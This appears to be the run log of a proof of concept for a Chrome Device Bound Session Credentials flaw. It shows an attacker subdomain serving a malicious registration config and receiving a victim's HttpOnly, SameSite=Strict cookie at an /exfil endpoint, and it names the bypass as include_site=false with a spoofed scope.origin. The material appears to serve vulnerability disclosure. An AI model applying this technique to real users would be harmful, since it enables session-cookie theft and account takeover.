[*] starting attacker/victim multi-origin HTTPS server...
[*] launching chrome...

================== server log ==================
[server] listening on https://127.0.0.1:8443
[server] start at: https://login.victim-dbsc-poc.com:8443/step1_setcookie
[server] login.victim-dbsc-poc.com:8443 GET /step1_setcookie :: "GET /step1_setcookie HTTP/1.1" 200 -
[server] login.victim-dbsc-poc.com:8443 GET /favicon.ico :: "GET /favicon.ico HTTP/1.1" 404 -
[server] evil.victim-dbsc-poc.com:8443 GET /step2_trigger :: "GET /step2_trigger HTTP/1.1" 200 -
[server] DBSC registration POST received -> sending malicious config
[server] evil.victim-dbsc-poc.com:8443 POST /reg :: "POST /reg HTTP/1.1" 200 -
[server] evil.victim-dbsc-poc.com:8443 GET /favicon.ico :: "GET /favicon.ico HTTP/1.1" 404 -
[server] ======================================================================
[server] !!! EXFIL HIT !!! refresh POST received at attacker endpoint
[server]     Sec-Session-Id: attacker-planted-session
[server]     Cookie: VICTIM_SESSION=SECRET_TOKEN_12345_SHOULD_NEVER_REACH_EVIL
[server] ======================================================================
[server] !!! VULNERABILITY CONFIRMED: SameSite=Strict HttpOnly domain cookie exfiltrated to attacker subdomain via DBSC refresh
[server] evil.victim-dbsc-poc.com:8443 POST /exfil :: "POST /exfil HTTP/1.1" 200 -
[server] login.victim-dbsc-poc.com:8443 GET /step3_victim_nav :: "GET /step3_victim_nav HTTP/1.1" 200 -

================== exfil log ===================
Sec-Session-Id: attacker-planted-session
Cookie: VICTIM_SESSION=SECRET_TOKEN_12345_SHOULD_NEVER_REACH_EVIL

[+] VULNERABILITY CONFIRMED:
    SameSite=Strict; HttpOnly; Secure; Domain=victim-dbsc-poc.com cookie was
    delivered to https://evil.victim-dbsc-poc.com:8443/exfil via a DBSC
    refresh request, despite the .well-known subdomain check being
    enabled (it was bypassed by include_site=false + spoofed
    scope.origin).